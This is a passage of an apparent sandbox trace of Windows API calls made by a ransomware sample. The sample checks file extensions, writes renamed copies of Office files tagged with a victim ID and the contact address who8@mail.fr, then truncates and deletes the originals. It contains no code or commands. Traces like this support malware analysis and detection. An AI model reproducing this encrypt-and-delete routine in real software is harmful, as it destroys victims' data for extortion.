Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.778] lstrlenW (lpString=".zip") returned 4 [0205.778] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.778] lstrlenW (lpString=".rar") returned 4 [0205.778] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.778] lstrlenW (lpString=".bz2") returned 4 [0205.778] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.779] lstrlenW (lpString=".7z") returned 3 [0205.779] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.779] lstrlenW (lpString=".dbf") returned 4 [0205.779] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.779] lstrlenW (lpString=".1cd") returned 4 [0205.779] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.779] lstrlenW (lpString=".jpg") returned 4 [0205.779] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.779] lstrcmpiW (lpString1=".dat", lpString2=".aa1") returned 1 [0205.779] lstrlenW (lpString="hwruksh.dat") returned 11 [0205.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0206.178] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2227968) returned 1 [0206.178] CloseHandle (hObject=0x1dc) returned 1 [0206.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0206.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0206.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[who8@mail.fr].aa1")) returned 0 [0207.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.024] lstrlenW (lpString=".doc") returned 4 [0207.024] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0207.024] lstrlenW (lpString=".docx") returned 5 [0207.024] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0207.024] lstrlenW (lpString=".pdf") returned 4 [0207.024] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0207.024] lstrlenW (lpString=".xls") returned 4 [0207.024] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0207.024] lstrlenW (lpString=".xlsx") returned 5 [0207.024] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0207.025] lstrlenW (lpString=".ppt") returned 4 [0207.025] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0207.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.025] lstrlenW (lpString=".zip") returned 4 [0207.025] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0207.025] lstrlenW (lpString=".rar") returned 4 [0207.025] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0207.025] lstrlenW (lpString=".bz2") returned 4 [0207.025] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0207.025] lstrlenW (lpString=".7z") returned 3 [0207.025] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0207.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.025] lstrlenW (lpString=".dbf") returned 4 [0207.025] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0207.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.025] lstrlenW (lpString=".1cd") returned 4 [0207.025] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0207.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.025] lstrlenW (lpString=".jpg") returned 4 [0207.025] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0207.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.025] lstrlenW (lpString=".doc") returned 4 [0207.026] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0207.026] lstrlenW (lpString=".docx") returned 5 [0207.026] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0207.026] lstrlenW (lpString=".pdf") returned 4 [0207.026] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0207.026] lstrlenW (lpString=".xls") returned 4 [0207.026] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0207.026] lstrlenW (lpString=".xlsx") returned 5 [0207.026] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0207.026] lstrlenW (lpString=".ppt") returned 4 [0207.026] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0207.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.026] lstrlenW (lpString=".zip") returned 4 [0207.026] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0207.026] lstrlenW (lpString=".rar") returned 4 [0207.026] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0207.026] lstrlenW (lpString=".bz2") returned 4 [0207.026] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0207.026] lstrlenW (lpString=".7z") returned 3 [0207.026] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0207.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.027] lstrlenW (lpString=".dbf") returned 4 [0207.027] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0207.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.027] lstrlenW (lpString=".1cd") returned 4 [0207.027] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0207.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0207.027] lstrlenW (lpString=".jpg") returned 4 [0207.027] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0207.027] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0207.027] lstrlenW (lpString="ipsdan.xml") returned 10 [0207.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0207.300] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2514) returned 1 [0207.300] CloseHandle (hObject=0x188) returned 1 [0207.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0207.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.301] lstrlenW (lpString=".doc") returned 4 [0207.301] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.301] lstrlenW (lpString=".docx") returned 5 [0207.301] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0207.301] lstrlenW (lpString=".pdf") returned 4 [0207.301] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.301] lstrlenW (lpString=".xls") returned 4 [0207.301] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.301] lstrlenW (lpString=".xlsx") returned 5 [0207.301] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0207.301] lstrlenW (lpString=".ppt") returned 4 [0207.301] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.301] lstrlenW (lpString=".zip") returned 4 [0207.301] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.301] lstrlenW (lpString=".rar") returned 4 [0207.301] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.301] lstrlenW (lpString=".bz2") returned 4 [0207.301] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.301] lstrlenW (lpString=".7z") returned 3 [0207.301] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.302] lstrlenW (lpString=".dbf") returned 4 [0207.302] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.302] lstrlenW (lpString=".1cd") returned 4 [0207.302] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.302] lstrlenW (lpString=".jpg") returned 4 [0207.302] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.302] lstrlenW (lpString=".doc") returned 4 [0207.302] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.302] lstrlenW (lpString=".docx") returned 5 [0207.302] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0207.302] lstrlenW (lpString=".pdf") returned 4 [0207.302] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.302] lstrlenW (lpString=".xls") returned 4 [0207.302] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.302] lstrlenW (lpString=".xlsx") returned 5 [0207.303] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0207.303] lstrlenW (lpString=".ppt") returned 4 [0207.303] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.303] lstrlenW (lpString=".zip") returned 4 [0207.303] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.303] lstrlenW (lpString=".rar") returned 4 [0207.303] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.303] lstrlenW (lpString=".bz2") returned 4 [0207.303] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.303] lstrlenW (lpString=".7z") returned 3 [0207.303] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.303] lstrlenW (lpString=".dbf") returned 4 [0207.303] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.303] lstrlenW (lpString=".1cd") returned 4 [0207.303] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.303] lstrlenW (lpString=".jpg") returned 4 [0207.303] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.304] lstrcmpiW (lpString1=".HTM", lpString2=".aa1") returned 1 [0207.304] lstrlenW (lpString="README.HTM") returned 10 [0207.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0207.862] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1941) returned 1 [0207.862] CloseHandle (hObject=0x178) returned 1 [0207.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0207.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0207.862] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0207.862] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0207.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0207.863] GetLastError () returned 0x0 [0207.863] ReadFile (in: hFile=0x178, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x795, lpOverlapped=0x0) returned 1 [0207.908] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0207.910] ReadFile (in: hFile=0x178, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0207.910] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0207.910] SetEndOfFile (hFile=0x1f4) returned 1 [0207.910] CloseHandle (hObject=0x1f4) returned 1 [0207.913] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0207.913] SetEndOfFile (hFile=0x178) returned 1 [0207.914] CloseHandle (hObject=0x178) returned 1 [0207.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0207.915] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0207.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.915] lstrlenW (lpString=".doc") returned 4 [0207.915] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0207.915] lstrlenW (lpString=".docx") returned 5 [0207.915] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0207.915] lstrlenW (lpString=".pdf") returned 4 [0207.915] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0207.915] lstrlenW (lpString=".xls") returned 4 [0207.915] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0207.916] lstrlenW (lpString=".xlsx") returned 5 [0207.916] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0207.916] lstrlenW (lpString=".ppt") returned 4 [0207.916] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0207.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.916] lstrlenW (lpString=".zip") returned 4 [0207.916] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0207.916] lstrlenW (lpString=".rar") returned 4 [0207.916] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0207.916] lstrlenW (lpString=".bz2") returned 4 [0207.916] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0207.916] lstrlenW (lpString=".7z") returned 3 [0207.916] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0207.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.916] lstrlenW (lpString=".dbf") returned 4 [0207.916] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0207.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.917] lstrlenW (lpString=".1cd") returned 4 [0207.917] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0207.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.917] lstrlenW (lpString=".jpg") returned 4 [0207.917] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0207.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.917] lstrlenW (lpString=".doc") returned 4 [0207.917] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0207.917] lstrlenW (lpString=".docx") returned 5 [0207.917] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0207.917] lstrlenW (lpString=".pdf") returned 4 [0207.917] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0207.917] lstrlenW (lpString=".xls") returned 4 [0207.917] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0207.918] lstrlenW (lpString=".xlsx") returned 5 [0207.918] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0207.918] lstrlenW (lpString=".ppt") returned 4 [0207.918] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0207.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.918] lstrlenW (lpString=".zip") returned 4 [0207.918] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0207.918] lstrlenW (lpString=".rar") returned 4 [0207.918] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0207.918] lstrlenW (lpString=".bz2") returned 4 [0207.918] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0207.918] lstrlenW (lpString=".7z") returned 3 [0207.918] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0207.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.918] lstrlenW (lpString=".dbf") returned 4 [0207.918] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0207.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.918] lstrlenW (lpString=".1cd") returned 4 [0207.919] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0207.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0207.919] lstrlenW (lpString=".jpg") returned 4 [0207.919] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0207.919] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0207.919] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0207.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0207.920] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=913) returned 1 [0207.920] CloseHandle (hObject=0x178) returned 1 [0207.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0207.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0207.920] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0207.920] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0207.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0208.257] GetLastError () returned 0x0 [0208.257] ReadFile (in: hFile=0x178, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x391, lpOverlapped=0x0) returned 1 [0208.259] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0208.260] ReadFile (in: hFile=0x178, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0208.260] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0208.260] SetEndOfFile (hFile=0x1f4) returned 1 [0208.261] CloseHandle (hObject=0x1f4) returned 1 [0208.263] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0208.263] SetEndOfFile (hFile=0x178) returned 1 [0208.265] CloseHandle (hObject=0x178) returned 1 [0208.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0208.265] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0208.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.266] lstrlenW (lpString=".doc") returned 4 [0208.266] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0208.266] lstrlenW (lpString=".docx") returned 5 [0208.266] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0208.266] lstrlenW (lpString=".pdf") returned 4 [0208.266] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0208.266] lstrlenW (lpString=".xls") returned 4 [0208.266] lstrcmpiW 